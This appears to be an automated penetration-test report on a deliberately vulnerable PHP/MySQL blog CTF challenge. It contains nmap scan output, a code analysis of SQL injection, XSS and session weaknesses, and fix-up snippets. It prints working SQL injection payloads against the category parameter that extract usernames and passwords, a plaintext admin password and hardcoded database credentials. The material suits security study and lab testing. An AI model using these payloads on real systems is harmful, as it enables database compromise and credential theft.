# Pre-Reconnaissance Report

## Port Discovery (naabu)
Status: Skipped
[object Object]

## Network Scanning (nmap)
Status: success
Starting Nmap 7.97 ( https://nmap.org ) at 2025-10-28 13:34 -0700
Nmap scan report for localhost (127.0.0.1)
Host is up (0.000028s latency).
Other addresses for localhost (not scanned): ::1
Not shown: 995 closed tcp ports (conn-refused)
PORT      STATE SERVICE   VERSION
80/tcp    open  http      Caddy httpd
|_http-title: Site doesn't have a title.
|_http-server-header: Caddy
443/tcp   open  ssl/https
|_http-title: Site doesn't have a title.
631/tcp   open  ipp       CUPS 2.3
|_http-server-header: CUPS/2.3 IPP/2.1
| http-robots.txt: 1 disallowed entry 
|_/
|_http-title: Home - CUPS 2.3.4
9999/tcp  open  http      SimpleHTTPServer 0.6 (Python 3.12.10)
|_http-server-header: SimpleHTTP/0.6 Python/3.12.10
|_http-title: Directory listing for /
49158/tcp open  http      Golang net/http server
| fingerprint-strings: 
|   FourOhFourRequest: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Tue, 28 Oct 2025 20:34:28 GMT
|     Content-Length: 14
|     auth required
|   GenericLines, Help, RTSPRequest, SSLSessionReq: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest, HTTPOptions: 
|     HTTP/1.0 401 Unauthorized
|     Content-Security-Policy: default-src 'none'; frame-ancestors 'none'; script-src 'none'; script-src-elem 'none'; script-src-attr 'none'
|     Content-Type: text/plain; charset=utf-8
|     Tailscale-Cap: 115
|     Tailscale-Version: 1.82.5-tdec88625e-gec2eb9730
|     X-Content-Type-Options: nosniff
|     X-Frame-Options: DENY
|     Date: Tue, 28 Oct 2025 20:34:13 GMT
|     Content-Length: 14
|_    auth required
| http-auth: 
| HTTP/1.1 401 Unauthorized\x0D
|_  Server returned status 401 but no WWW-Authenticate header.
|_http-title: Site doesn't have a title (text/plain; charset=utf-8).
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port49158-TCP:V=7.97%I=7%D=10/28%Time=690128C5%P=arm-apple-darwin24.4.0
SF:%r(GenericLines,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type:
SF:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x20
SF:Bad\x20Request")%r(GetRequest,192,"HTTP/1\.0\x20401\x20Unauthorized\r\n
SF:Content-Security-Policy:\x20default-src\x20'none';\x20frame-ancestors\x
SF:20'none';\x20script-src\x20'none';\x20script-src-elem\x20'none';\x20scr
SF:ipt-src-attr\x20'none'\r\nContent-Type:\x20text/plain;\x20charset=utf-8
SF:\r\nTailscale-Cap:\x20115\r\nTailscale-Version:\x201\.82\.5-tdec88625e-
SF:gec2eb9730\r\nX-Content-Type-Options:\x20nosniff\r\nX-Frame-Options:\x2
SF:0DENY\r\nDate:\x20Tue,\x2028\x20Oct\x202025\x2020:34:13\x20GMT\r\nConte
SF:nt-Length:\x2014\r\n\r\nauth\x20required\n")%r(HTTPOptions,192,"HTTP/1\
SF:.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-src\x2
SF:0'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x20scri
SF:pt-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Type:\x2
SF:0text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailscale-Ver
SF:sion:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options:\x20n
SF:osniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Tue,\x2028\x20Oct\x20202
SF:5\x2020:34:13\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20required\n
SF:")%r(RTSPRequest,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r\n400\x2
SF:0Bad\x20Request")%r(Help,67,"HTTP/1\.1\x20400\x20Bad\x20Request\r\nCont
SF:ent-Type:\x20text/plain;\x20charset=utf-8\r\nConnection:\x20close\r\n\r
SF:\n400\x20Bad\x20Request")%r(SSLSessionReq,67,"HTTP/1\.1\x20400\x20Bad\x
SF:20Request\r\nContent-Type:\x20text/plain;\x20charset=utf-8\r\nConnectio
SF:n:\x20close\r\n\r\n400\x20Bad\x20Request")%r(FourOhFourRequest,192,"HTT
SF:P/1\.0\x20401\x20Unauthorized\r\nContent-Security-Policy:\x20default-sr
SF:c\x20'none';\x20frame-ancestors\x20'none';\x20script-src\x20'none';\x20
SF:script-src-elem\x20'none';\x20script-src-attr\x20'none'\r\nContent-Type
SF::\x20text/plain;\x20charset=utf-8\r\nTailscale-Cap:\x20115\r\nTailscale
SF:-Version:\x201\.82\.5-tdec88625e-gec2eb9730\r\nX-Content-Type-Options:\
SF:x20nosniff\r\nX-Frame-Options:\x20DENY\r\nDate:\x20Tue,\x2028\x20Oct\x2
SF:02025\x2020:34:28\x20GMT\r\nContent-Length:\x2014\r\n\r\nauth\x20requir
SF:ed\n");

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.54 seconds


## Subdomain Discovery (subfinder)
Status: success
server02.counterintel.localhost
fndlync01.5ninesdata.localhost
mail.localhost
autodiscover.regency.localhost
mail03.regency.localhost
exchvm.nwcnet.localhost
server2.hunter.localhost
tools.sonoma.edu.localhost
mail.regency.localhost
www.localhost
naeu2.naeuinc.localhost
autodiscover.localhost
mse-ca-mail.corp.mse.localhost
mail02.regency.localhost
owa.regency.localhost
sbs.allsaintsschool.localhost


## Technology Detection (whatweb)
Status: success
[1m[34mhttp://localhost:34389[0m [200 OK] [1mApache[0m[[1m[32m2.4.54[0m], [1mHTML5[0m, [1mHTTPServer[0m[[1m[31mDebian Linux[0m][[1m[36mApache/2.4.54 (Debian)[0m], [1mIP[0m[[0m[22m::1[0m], [1mPHP[0m[[1m[32m7.4.33[0m], [1mTitle[0m[[1m[33mBlog Home[0m], [1mX-Powered-By[0m[[0m[22mPHP/7.4.33[0m]

## Code Analysis
# Penetration Test Scope & Boundaries

**Primary Directive:** This analysis is strictly limited to the **network-accessible attack surface** of the application. All findings reported here meet the "In-Scope" criteria defined below.

### In-Scope: Network-Reachable Components
A component is considered **in-scope** if its execution can be initiated, directly or indirectly, by a network request that the deployed application server is capable of receiving. This includes:
- Publicly exposed web pages and API endpoints.
- Endpoints requiring authentication via the application's standard login mechanisms.
- Any developer utility, debug console, or script that has been mistakenly exposed through a route or is otherwise callable from other in-scope, network-reachable code.

### Out-of-Scope: Locally Executable Only
A component is **out-of-scope** if it **cannot** be invoked through the running application's network interface and requires an execution context completely external to the application's request-response cycle. This includes tools that must be run via:
- A command-line interface (e.g., `go run ./cmd/...`, `python scripts/...`).
- A development environment's internal tooling (e.g., a "run script" button in an IDE).
- CI/CD pipeline scripts or build tools (e.g., Dagger build definitions).
- Database migration scripts, backup tools, or maintenance utilities.
- Local development servers, test harnesses, or debugging utilities.
- Static files or scripts that require manual opening in a browser (not served by the application).

---

## 1. Executive Summary

This security analysis examines **XBEN-078-24**, a CTF challenge simulating a vulnerable PHP-based blog application with MySQL backend. The application is intentionally vulnerable by design to demonstrate common web security flaws. The security posture is **CRITICAL**, with multiple high-severity vulnerabilities that would result in immediate compromise in a real-world scenario.

The application exposes **two primary HTTP endpoints** on port 80: a public blog homepage (`index.php`) with category filtering, and an admin authentication page (`admin.php`) that reveals a CTF flag upon successful login. Both endpoints contain critical security vulnerabilities including SQL injection, stored and reflected XSS, plaintext password storage, and complete lack of transport encryption.

The most critical attack path is through the **SQL injection vulnerability in the category filter parameter** (`index.php?category=`), which allows complete database compromise without authentication. This can be chained with **stored XSS vulnerabilities** in the blog post rendering to achieve persistent compromise of all application users. The application lacks fundamental security controls including input validation, output encoding, password hashing, TLS encryption, CSRF protection, and secure session management. All database credentials are hardcoded in source code and committed to version control, and the admin password (`ONEverySecurePassword123!`) is stored in plaintext in the database.

From an external attacker perspective with no internal network access, the primary attack surface is the HTTP service on port 80. The SQL injection vulnerability provides immediate and complete access to the database, credentials, and the CTF flag without requiring any authentication. This represents a critical security failure in authentication, authorization, data protection, and input validation controls.

---

## 2. Architecture & Technology Stack

### Framework & Language

The application is built on a **traditional LAMP stack** (Linux, Apache, MySQL, PHP) deployed via Docker Compose with two containers: a web service running PHP 7.4 with Apache 2.4, and a database service running MySQL 5.7. The web application uses **native PHP session management** with no framework abstraction, and database access through the **MySQLi extension** (object-oriented interface). All code is written in procedural PHP with inline HTML generation and no separation of concerns or MVC architecture.

**Security Implications:** PHP 7.4 reached end-of-life in November 2022 and no longer receives security updates, exposing the application to known vulnerabilities. MySQL 5.7 is also an older version approaching end-of-life with known security issues. The use of legacy `mysql_native_password` authentication plugin (instead of the more secure `caching_sha2_password` in MySQL 8.0+) further weakens database security. The application enables PHP error display (`display_errors = On`, `display_startup_errors = On`, `error_reporting = E_ALL`) in the production Dockerfile configuration (lines 9-13 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/Dockerfile`), which leaks sensitive technical information including database structure, SQL syntax errors, and internal file paths to attackers. The Apache configuration enables directory listing (`Options Indexes`, line 10 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/000-default.conf`) and grants unrestricted access (`Require all granted`, line 11), removing basic access control protections.

The containerized architecture provides some isolation but introduces new attack vectors through exposed environment variables and insecure Docker configurations. The database container's port 3306 is exposed on the internal Docker network without encryption, and all MySQL connections occur over plaintext without SSL/TLS. The application runs exclusively on HTTP (port 80) without HTTPS support, allowing man-in-the-middle attacks to intercept all traffic including authentication credentials and session cookies.

### Architectural Pattern

The application follows a **two-tier monolithic architecture** with presentation and data access layers collapsed into single-file PHP scripts. The architecture exhibits no separation of concerns, with HTML rendering, business logic, and database queries all embedded in the same PHP files. There are only two primary application files: `index.php` (73 lines) for the public blog interface, and `admin.php` (60 lines) for authentication. Static assets include a basic CSS stylesheet (`styles.css`, 28 lines) and two WebP images stored in `/images/`.

**Trust Boundary Analysis:** The application has weak trust boundary definitions. User input from GET and POST parameters flows directly into SQL queries with minimal sanitization. The only trust boundary is the authentication check in `admin.php` (line 5: `if (isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true)`), which protects the flag disclosure but can be bypassed through SQL injection in the login form or SQL injection in `index.php` to manipulate the database directly.

The Docker architecture creates an implicit trust boundary between the web container and database container, communicating over an internal network. However, this boundary provides limited security value because the web container has full database credentials hardcoded (`user:password`) with likely unrestricted privileges. If the web container is compromised (which is trivial given the SQL injection vulnerability), the attacker gains immediate database access. The application trusts all data from the database without validation, leading to stored XSS vulnerabilities when database content is rendered.

**Data Flow Patterns:** The typical data flow is: `User Input → No Validation → SQL Query (String Concatenation) → Database → No Output Encoding → Direct HTML Rendering`. This pattern violates secure development principles at every stage, creating multiple injection points throughout the request-response cycle. There are no validation layers, security middleware, or data sanitization libraries in use.

### Critical Security Components

The application **lacks** virtually all modern security components. No security libraries or frameworks are implemented. There is **no Content Security Policy (CSP)**, no CSRF protection tokens, no input validation framework, no output encoding library, no security headers middleware, no rate limiting, no WAF (Web Application Firewall), and no intrusion detection. The application uses `mysqli_real_escape_string()` in the admin login form (lines 17-18 of `admin.php`) as the only defense against SQL injection, but this is applied inconsistently and is bypassed in the category filter endpoint.

**Session Management:** The application uses PHP's native `session_start()` (line 2 of `admin.php`) without any security hardening. No session configuration is applied, meaning it relies on PHP 7.4 defaults. The session cookie (PHPSESSID) is created without explicit `HttpOnly`, `Secure`, or `SameSite` flags in the code, though PHP 7.4 enables HttpOnly by default. However, since the application runs on HTTP (not HTTPS), the Secure flag is not set, allowing session cookies to be transmitted over unencrypted connections. There is no session regeneration after login (`session_regenerate_id()` is never called), making the application vulnerable to session fixation attacks. No session timeout is implemented, and there is no logout functionality anywhere in the application.

**Authentication Security:** The authentication mechanism is fundamentally broken. Passwords are stored in plaintext in the database (`users` table, created at line 23-27 of `db_init.sql`, with admin credentials inserted at line 46: `INSERT INTO users (username, password) VALUES ('admin', 'ONEverySecurePassword123!')`). No password hashing functions (`password_hash()`, `password_verify()`, bcrypt, argon2) are used anywhere in the codebase. Authentication queries construct SQL through string concatenation (line 20 of `admin.php`: `SELECT id FROM users WHERE username = '$username' AND password = '$password'`), making them vulnerable to authentication bypass through SQL injection even though `mysqli_real_escape_string()` provides some protection.

**Configuration Files:**
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/docker-compose.yml` - Container orchestration with hardcoded credentials
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/Dockerfile` - Web container build with insecure PHP error configuration
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/000-default.conf` - Apache VirtualHost configuration with directory listing enabled
- `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/.env` - Environment variables containing CTF flag in plaintext

---

## 3. Authentication & Authorization Deep Dive

### Authentication Mechanisms and Security Properties

The application implements a single authentication mechanism: **username/password authentication with PHP sessions**. The authentication flow occurs entirely in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` through the following sequence:

1. **Session Initialization** (Line 2): `session_start()` creates or resumes a PHP session
2. **Authentication State Check** (Lines 5-8): If `$_SESSION['admin_logged_in']` is set to `true`, the user is considered authenticated and the flag is immediately displayed
3. **Login Form Processing** (Lines 11-31): On POST request, credentials are extracted from `$_POST['username']` and `$_POST['password']`
4. **Basic Sanitization** (Lines 17-18): `mysqli_real_escape_string()` is applied to both username and password
5. **Database Authentication** (Line 20): SQL query `SELECT id FROM users WHERE username = '$username' AND password = '$password'` is executed
6. **Success Path** (Lines 23-26): If exactly 1 row is returned, `$_SESSION['admin_logged_in']` is set to `true` and the flag is displayed
7. **Failure Path** (Lines 27-29): Error message `'Invalid username or password.'` is set (but never displayed due to immediate exit on line 30)

**Security Analysis:** This authentication mechanism has multiple critical vulnerabilities:

1. **Plaintext Password Storage (CRITICAL):** The database stores passwords without any hashing. The `users` table schema (lines 23-27 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/db_init.sql`) defines `password VARCHAR(255) NOT NULL` with no indication of hashing. The default admin credentials are inserted as plaintext: `INSERT INTO users (username, password) VALUES ('admin', 'ONEverySecurePassword123!');` (line 46 of `db_init.sql`). This means any database compromise (trivial via SQL injection) immediately exposes all user credentials.

2. **SQL Injection in Authentication (MEDIUM):** While `mysqli_real_escape_string()` is applied to inputs, the query still uses string concatenation instead of prepared statements. This provides protection against basic SQL injection but remains vulnerable to charset-based attacks (GBK exploitation if the database charset is not UTF-8) and represents a dangerous coding pattern. An attacker could potentially bypass authentication by manipulating the SQL query logic.

3. **No Password Hashing Functions:** The codebase contains zero references to `password_hash()`, `password_verify()`, `crypt()`, `bcrypt`, `argon2`, or any password hashing library. Passwords are compared directly in the SQL WHERE clause as plaintext strings.

4. **No Rate Limiting or Account Lockout:** The login endpoint has no protection against brute force attacks. An attacker can make unlimited authentication attempts without any throttling, delay, or account lockout mechanism. Combined with the weak password complexity (no minimum requirements enforced), this makes brute force attacks highly effective.

5. **Information Disclosure in Error Handling:** Database connection errors are displayed with full technical details: `die("Connection failed: " . $conn->connect_error);` (line 14 of `admin.php`). This reveals database server information to attackers.

### Authentication API Endpoints (Exhaustive List)

**Complete Authentication Endpoint Catalog:**

| Endpoint | File | Line | Method | Purpose | Authentication Required |
|----------|------|------|--------|---------|------------------------|
| `/admin.php` | `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` | 11-31 | POST | Process login credentials | No (public login form) |
| `/admin.php` | `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` | 33-60 | GET | Display login form | No (public access) |
| `/admin.php` | `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` | 5-8 | GET | Display flag if authenticated | Yes (session check) |

**Missing Authentication Endpoints:** The application has **no logout endpoint**, no password reset mechanism, no password change functionality, no account registration, no token refresh endpoint, no multi-factor authentication endpoints, and no OAuth/OIDC callback endpoints. The only authentication endpoint is the single login form processor in `admin.php`.

**Public Access Points:** The login form itself is publicly accessible, which is standard. However, the form lacks CSRF protection, meaning an attacker could create a malicious website that submits login attempts to the application on behalf of victims.

### Session Management and Cookie Security

**Session Initialization:** Session management begins with `session_start()` at line 2 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php`. This function creates a new session or resumes an existing one based on the PHPSESSID cookie sent by the browser.

**Session Cookie Configuration (CRITICAL FINDING):** The application **does NOT explicitly configure session cookie security flags**. Analysis of all configuration files reveals:
- **No `session.cookie_httponly` configuration** in Dockerfile or php.ini
- **No `session.cookie_secure` configuration** in Dockerfile or php.ini  
- **No `session.cookie_samesite` configuration** in Dockerfile or php.ini
- **No `ini_set()` calls** for session configuration in any PHP file
- The Dockerfile (lines 9-13) only configures error reporting settings, not session settings
- No custom php.ini file is deployed
- No .htaccess file exists

**Default PHP 7.4 Session Behavior:** Since no explicit configuration is present, the application relies on PHP 7.4 defaults:
- `session.cookie_httponly`: `1` (enabled by default in PHP 7.4+) - **GOOD**: Protects against JavaScript access via XSS
- `session.cookie_secure`: `0` (disabled) - **CRITICAL VULNERABILITY**: Session cookies transmitted over HTTP can be intercepted
- `session.cookie_samesite`: `""` (empty/none) - **CRITICAL VULNERABILITY**: No CSRF protection at cookie level
- `session.gc_maxlifetime`: `1440` seconds (24 minutes) - Session expires after 24 minutes of inactivity (default)
- `session.use_strict_mode`: `0` (disabled by default) - **VULNERABILITY**: Accepts arbitrary session IDs from users

**Specific File and Line Numbers Where Cookie Flags SHOULD Be Configured:**
The proper location would be in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/Dockerfile` after line 13, adding:
```dockerfile
RUN echo 'session.cookie_secure = 1' >> /usr/local/etc/php/conf.d/session.ini \
    && echo 'session.cookie_httponly = 1' >> /usr/local/etc/php/conf.d/session.ini \
    && echo 'session.cookie_samesite = Strict' >> /usr/local/etc/php/conf.d/session.ini \
    && echo 'session.use_strict_mode = 1' >> /usr/local/etc/php/conf.d/session.ini
```

Alternatively, it should be configured in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php` at line 1 (before `session_start()`):
```php
ini_set('session.cookie_secure', '1');
ini_set('session.cookie_httponly', '1');
ini_set('session.cookie_samesite', 'Strict');
ini_set('session.use_strict_mode', '1');
```

**Session Security Vulnerabilities:**

1. **No Session Regeneration (Session Fixation):** The application never calls `session_regenerate_id(true)` after successful login. This allows session fixation attacks where an attacker can force a known session ID on a victim, then wait for them to authenticate, after which the attacker has access to the authenticated session.

2. **No Session Timeout Enforcement:** While PHP has a default 24-minute garbage collection timeout, the application doesn't implement explicit session timeout logic. There's no check for idle time or absolute session lifetime. A user who logs in could theoretically maintain their session indefinitely by keeping the browser active.

3. **No Logout Functionality:** The application has **zero logout capability**. There is no endpoint to destroy the session, no logout button in the UI, and no way for a user to explicitly end their authenticated session. The only way to end a session is to wait for the PHP garbage collector to clean it up after 24 minutes of inactivity or to manually clear browser cookies.

4. **Session Storage:** Sessions are stored using PHP's default file-based storage (typically in `/tmp`). No custom session handler (Redis, Memcached, database) is configured. File-based sessions in shared hosting environments can be vulnerable to local file access attacks.

### Authorization Model and Bypass Scenarios

**Authorization Architecture:** The application implements a **binary access control model** - users are either "authenticated" or "not authenticated" with no granular roles or permissions. This is checked through a single boolean session variable.

**Authorization Check Implementation:**
- **File:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php`
- **Line:** 5
- **Code:** `if (isset($_SESSION['admin_logged_in']) && $_SESSION['admin_logged_in'] === true)`
- **Protected Resource:** CTF flag display (lines 6-7)

**Authorization Bypass Scenarios:**

1. **SQL Injection Bypass:** The SQL injection vulnerability in `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php` (line 45) allows an attacker to directly manipulate the database. An attacker could:
   - Extract the plaintext admin password: `?category=' UNION SELECT username,password,1,1,1,1,1 FROM users-- -`
   - Use the extracted credentials to login normally
   - Or directly extract the flag if it's stored in the database (though in this case it's embedded in the PHP file)

2. **Session Fixation:** Without `session_regenerate_id()` after login, an attacker can:
   - Set a known session ID in victim's browser (via XSS or other means)
   - Wait for victim to authenticate
   - Use the same session ID to access the authenticated session

3. **Session Hijacking:** Since sessions are transmitted over HTTP (no TLS), any network attacker (man-in-the-middle, rogue WiFi access point) can intercept the PHPSESSID cookie and use it to impersonate the authenticated user.

4. **Direct Database Manipulation:** Using SQL injection, an attacker could potentially create additional admin users, modify existing user credentials, or manipulate any data that might be checked during authentication.

**No Role-Based Access Control (RBAC):** The `users` table (lines 23-27 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/db_init.sql`) has only three columns: `id`, `username`, and `password`. There is no `role`, `permission`, `access_level`, or `is_admin` column. The application assumes that any user in the `users` table who successfully authenticates has full admin access to the flag. There is no concept of different permission levels.

**No Attribute-Based Access Control (ABAC):** The application does not implement any attribute-based authorization. There are no checks for IP address restrictions, geographic location, time-based access controls, or any other contextual attributes.

### Multi-Tenancy Security Implementation

**Not Applicable:** This application is **not multi-tenant**. There is only a single admin user with access to a single flag. There are no tenants, organizations, or data isolation requirements. The database schema shows a single flat structure with no tenant ID or organization ID columns.

### SSO/OAuth/OIDC Flows

**Finding: NO SSO/OAuth/OIDC Implementation**

Comprehensive search of the codebase reveals:
- **No OAuth libraries** (no references to `oauth2`, `league/oauth2`, `thephpleague/oauth2-client`)
- **No OIDC libraries** (no `openid-connect`, `jumbojett/openid-connect-php`)
- **No SSO endpoints** (no SAML, no CAS, no LDAP integration)
- **No callback endpoints** for OAuth flows
- **No state parameter validation** code
- **No nonce parameter validation** code
- **No JWT token handling** for OAuth/OIDC tokens
- **No redirect_uri validation**

**Conclusion:** The application uses only traditional username/password authentication with PHP sessions. There are no external identity providers, no federated authentication, and no single sign-on capabilities.

---

## 4. Data Security & Storage

### Database Security

**Database Technology:** MySQL 5.7 running in Docker container (image: `mysql:5.7`, defined at line 23 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/docker-compose.yml`)

**Encryption Analysis:**

1. **No Encryption at Rest:** The MySQL database has no encryption configuration for data-at-rest. Analysis of the Docker configuration shows no InnoDB tablespace encryption, no encrypted filesystem, and no transparent data encryption (TDE) settings. All data in the database files (tables, indexes, logs) is stored in plaintext on the Docker volume. If an attacker gains access to the underlying host filesystem or Docker volumes, all database content is immediately readable.

2. **No Encryption in Transit:** Database connections between the web container and database container occur over the internal Docker network without SSL/TLS. The MySQL container does not expose SSL certificates, and the MySQLi connection strings in the application do not specify SSL parameters. Connection strings at line 2 of `index.php` and line 12 of `admin.php` show: `new mysqli('db', 'user', 'password', 'blogDB')` with no SSL options. This means credentials and all query data are transmitted in plaintext over the network, vulnerable to packet sniffing within the Docker environment.

**Access Controls:**

The database has **minimal access control configuration**. The Docker Compose file (lines 26-29 of `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/docker-compose.yml`) shows:
```yaml
MYSQL_ROOT_PASSWORD: rootpassword
MYSQL_DATABASE: blogDB
MYSQL_USER: user
MYSQL_PASSWORD: password
```

These credentials are hardcoded and provide likely unrestricted access to the database. The initialization script (`/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/db_init.sql`) contains no `GRANT` statements to limit the application user's privileges. This means the application user likely has full DBA privileges on the `blogDB` database, violating the principle of least privilege. The application should only have SELECT, INSERT, UPDATE, DELETE on specific tables, not DROP, CREATE, or administrative privileges.

**Query Safety:**

The application has **critical SQL injection vulnerabilities** due to unsafe query construction:

1. **Primary SQL Injection (CRITICAL):** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php`, lines 39-49:
```php
$category = isset($_GET['category']) ? $_GET['category'] : '';

$sql = "SELECT * FROM posts WHERE published = 1 ";

if ($category == "Secret")
    $category = "";

if (!empty($category)) {
    $sql .= "and category = '" . $category . "' ";
}
$sql .= "ORDER BY created_at DESC";
```

The `$_GET['category']` parameter is directly concatenated into the SQL query without any escaping, sanitization, or parameterization. The only protection is a weak check that prevents the exact string "Secret" (lines 41-42), which can be easily bypassed with SQL injection payloads. The application does NOT use `mysqli_real_escape_string()` on this parameter, making it trivially exploitable.

**Exploitation Example:**
```
GET /index.php?category=' OR 1=1-- -
Resulting SQL: SELECT * FROM posts WHERE published = 1 and category = '' OR 1=1-- -' ORDER BY created_at DESC

GET /index.php?category=' UNION SELECT id,username,password,NULL,NULL,NULL,NULL FROM users-- -
Resulting SQL: SELECT * FROM posts WHERE published = 1 and category = '' UNION SELECT id,username,password,NULL,NULL,NULL,NULL FROM users-- -' ORDER BY created_at DESC
```

This vulnerability allows complete database compromise including credential extraction, data modification, and potential command execution (if MySQL FILE privileges exist).

2. **Authentication SQL Injection (MEDIUM):** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/admin.php`, lines 17-20:
```php
$username = mysqli_real_escape_string($conn, $_POST['username']);
$password = mysqli_real_escape_string($conn, $_POST['password']);

$sql = "SELECT id FROM users WHERE username = '$username' AND password = '$password'";
```

While `mysqli_real_escape_string()` provides basic SQL injection protection, the use of string concatenation instead of prepared statements represents a dangerous pattern. This query is vulnerable to character encoding exploits (if the database uses certain character sets like GBK) and does not follow modern secure coding practices.

**Secure Coding Recommendations:** All queries should use prepared statements with parameter binding:
```php
$stmt = $conn->prepare("SELECT * FROM posts WHERE published = 1 AND category = ?");
$stmt->bind_param("s", $category);
$stmt->execute();
$result = $stmt->get_result();
```

### Data Flow Security

**Sensitive Data Paths:**

1. **Authentication Credentials Flow:**
   ```
   User Input (POST) → $_POST['username'], $_POST['password']
   → mysqli_real_escape_string() (basic sanitization)
   → Plaintext SQL query
   → Plaintext MySQL connection
   → Database (plaintext storage)
   → Plaintext comparison in SQL WHERE clause
   ```
   **Protection Mechanisms:** Only `mysqli_real_escape_string()` is applied. No password hashing, no TLS, no encryption at any stage.

2. **Blog Content Flow:**
   ```
   Database (posts table)
   → Plaintext MySQL connection
   → No validation or sanitization
   → Direct output via echo
   → No HTML encoding
   → User's browser (XSS execution)
   ```
   **Protection Mechanisms:** None. All database content is trusted and rendered without encoding.

3. **Session Data Flow:**
   ```
   User authentication → $_SESSION['admin_logged_in'] = true
   → Filesystem storage (/tmp or configured path)
   → PHPSESSID cookie (HTTP, no Secure flag)
   → HTTP transmission (plaintext)
   → Browser
   ```
   **Protection Mechanisms:** HttpOnly flag (PHP default) prevents JavaScript access. No other protections.

4. **CTF Flag Flow:**
   ```
   .env file (build time) → Docker build argument
   → Dockerfile sed replacement (line 21)
   → admin.php source code (embedded as text)
   → Session check
   → HTTP response (plaintext)
   → Browser
   ```
   **Protection Mechanisms:** Session authentication check only. No encryption, no additional access controls.

**Data Protection Mechanisms:**

The application has **virtually no data protection mechanisms**:
- ❌ No input validation framework
- ❌ No output encoding/escaping
- ❌ No parameterized queries
- ❌ No encryption (at rest or in transit)
- ❌ No data masking or anonymization
- ❌ No DLP (Data Loss Prevention)
- ❌ No content security policy
- ✅ Partial: `mysqli_real_escape_string()` in admin.php only (insufficient)

### Multi-Tenant Data Isolation

**Not Applicable:** The application is not multi-tenant. There is no concept of multiple tenants, organizations, or isolated data domains. All data exists in a single flat schema with no tenant ID or organization ID columns. The single admin user has access to all data in the system.

---

## 5. Attack Surface Analysis

### External Entry Points

Based on comprehensive analysis by the Entry Point Mapper Agent, the application exposes the following network-accessible entry points:

#### Entry Point #1: Blog Homepage (`index.php`)

**Location:** `/Users/arjunmalleswaran/Code/pentest-workspaces/XBEN-078-24/app/html/index.php` (73 lines)

**Network Access:**
- **URL Paths:** `/`, `/index.php`
- **HTTP Methods:** GET
- **Port:** 80 (HTTP)
- **Authentication:** None required (public access)
- **Exposed to Internet:** Yes (when deployed)

**Functionality:** Main blog landing page that displays published blog posts from the database with optional category filtering. The page queries the database for posts with `published = 1`, filters by category if specified, and renders post titles, categories, images, and content previews. A dropdown menu allows users to filter posts by category, which dynamically reloads the page with the selected category as a GET parameter.

**Input Vectors:**

1. **GET Parameter: `category`** (Line 37)
   - **Source:** `$category = isset($_GET['category']) ? $_GET['category'] : '';`
   - **Attack Surface:** **CRITICAL SQL INJECTION**
   - **Vulnerability Location:** Line 45: `$sql .= "and category = '" . $category . "' ";`
   - **Sanitization:** None (no escaping, no parameterization)
   - **Exploitation:** Direct SQL injection allows database compromise
   - **Example Payloads:**
     ```
     ?category=' OR 1=1-- -
     ?category=' UNION SELECT username,password,1,1,1,1,1 FROM users-- -
     ?category=' AND SLEEP(5)-- -
     ?category=' OR (SELECT COUNT(*) FROM information_schema.tables)>0-- -
     ```
   - **Business Logic Bypass:** Lines 41-42 filter out "Secret" category, but this is easily bypassed with SQL injection or variations like `SeCrEt`, `%53ecret`, etc.

2. **Database Output Rendering** (Lines 57-62)
   - **Source:** `while($row = $result->fetch_assoc())`
   - **Attack Surface:** **STORED XSS (CRITICAL)**
   - **Vulnerable Sinks:**
     - `{$row['title']}` (line 58) - HTML context
     - `{$row['category']}` (line 59) - HTML context
     - `{$row['image']}` (line 60) - URL context in src attribute + HTML context in alt attribute
